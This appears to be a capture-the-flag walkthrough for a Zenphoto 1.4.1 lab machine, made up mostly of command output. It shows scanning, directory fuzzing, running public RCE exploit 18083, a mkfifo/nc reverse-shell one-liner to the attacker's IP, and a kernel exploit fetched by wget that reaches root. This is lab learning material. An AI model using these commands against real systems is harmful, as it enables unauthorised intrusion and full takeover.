

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.182.41 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.182.41:22
Open 192.168.182.41:23
Open 192.168.182.41:80
Open 192.168.182.41:3306

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp    open  ipp      syn-ack CUPS 1.4
|_ http-methods:
|_   Supported Methods: GET HEAD OPTIONS POST PUT
|_   Potentially risky methods: PUT
|_ http-server-header: CUPS/1.4
|_ http-title: 403 Forbidden
80/tcp    open  http     syn-ack Apache httpd 2.2.14 ((Ubuntu))
|_ http-title: Site doesn't have a title (text/html).
|_ http-methods:
|_   Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.2.14 (Ubuntu)
3306/tcp  open  mysql    syn-ack MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` then use `ffuf`
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.182.41/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
```

test [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 216ms]

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.182.41/test/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
```

themes [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 218ms]  
albums [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 220ms]  
plugins [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 215ms]  
cache [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 224ms]  
favicon [Status: 200, Size: 1406, Words: 2, Lines: 1, Duration: 216ms]  
robots [Status: 200, Size: 190, Words: 9, Lines: 9, Duration: 215ms]  
uploaded [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 215ms]  
[Status: 200, Size: 5015, Words: 345, Lines: 102, Duration: 265ms]  
``` robots,http://192.168.182.41/test/robots

```
User-agent: *
Disallow: /test/albums/
Disallow: /test/cache/
Disallow: /test/themes/
Disallow: /test/zp-core/
Disallow: /test/zp-data/
Disallow: /test/page/search/
Disallow: /test/uploaded/
``` Check`http://192.168.182.41/test/zp-core/`findlogin,canfuff
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.182.41/test/zp-core/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
```

archive [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 218ms]  
c [Status: 200, Size: 77, Words: 1, Lines: 4, Duration: 273ms]  
rss [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 1637ms]  
version [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 224ms]  
admin [Status: 200, Size: 3186, Words: 131, Lines: 74, Duration: 270ms]  
password [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 222ms]  
utilities [Status: 301, Size: 333, Words: 20, Lines: 10, Duration: 216ms]  
js [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 215ms]  
i [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 229ms]  
classes [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 216ms]  
404 [Status: 500, Size: 291, Words: 18, Lines: 8, Duration: 218ms]  
controller [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 216ms]

functions [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 268ms]  
locale [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 215ms]  
htaccess [Status: 200, Size: 5091, Words: 794, Lines: 98, Duration: 222ms]  
``` Check <http://192.168.182.41/test/zp-core/htaccess,1.4.1>

```
# htaccess file version 1.4.1;
# When Zenphoto requires changes to the rewrite rules:
#     First make a copy of this file as 'oldhtaccess' in the zp-core folder so setup can test for
#     unmodified files
#     Update the above and the define in setup.php

<IfModule mod_rewrite.c>
    RewriteEngine On

    RewriteBase /zenphoto

    RewriteRule ^admin/?$                zp-core/admin.php [R,L]

    RewriteCond %{REQUEST_FILENAME} -d
    RewriteRule ^albums/(?.(+/?))?$ $1 [R=301,L]

    RewriteCond %{REQUEST_FILENAME} -f [OR]
    RewriteCond %{REQUEST_FILENAME} -d
    RewriteRule ^.*$ - [L]

    ##### put no rules before this line #####

...
``` Search[edb-18083] (https://www.exploit-db.com/exploits/18083), downloaduse, get shell, canreverse
```

```
(kali㉿kali) [~/pgplay]
$ php 18083.php 192.168.182.41 /test/
```

```
+-----+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |
+-----+
```

```
zenphoto-shell# whoami
www-data
```

```
(kali㉿kali) [~/pgplay]
$ rlwrap -cAr nc -nvlp9001
```

```
zenphoto-shell# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 192.168.45.240 9001 >/tmp/f
``` /homecan getlocal.txt
```

```
$ python -c 'import pty; pty.spawn("/bin/bash")'

www-data@offsecsrv:/home$ cat local.txt
89ddfbbab21b811a86d11133117f33b
``` use `linpeas.sh`
```

```
www-data@offsecsrv:/tmp$ wget 192.168.45.240/linpeas.sh
www-data@offsecsrv:/tmp$ chmod +x linpeas.sh
www-data@offsecsrv:/tmp$./linpeas.sh
```

```
===== Executing Linux Exploit Suggester
L https://github.com/mzet/linux-exploit-suggester
```

```
...
[+] [CVE-2010-3904] rds
```

Details: <http://www.securityfocus.com/archive/1/514379>

Exposure: highly probable

Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},[  
ubuntu=10.04{kernel:2.6.32-(21|24)-generic}]

Download URL: <http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c>

...

```
(kali㉿kali) [~/pgplay]
$ searchsploit -m 15285
```

```
www-data@offsecsrv:/tmp$ wget 192.168.45.240/15285.c
www-data@offsecsrv:/tmp$ gcc 15285.c -o 15285
www-data@offsecsrv:/tmp$./15285
```

**whoami**

**python -c 'import pty; pty.spawn("/bin/bash")'**

```
root@offsecsrv:/root# cat proof.txt
9223174012b553a217848fed640ceebd
```

---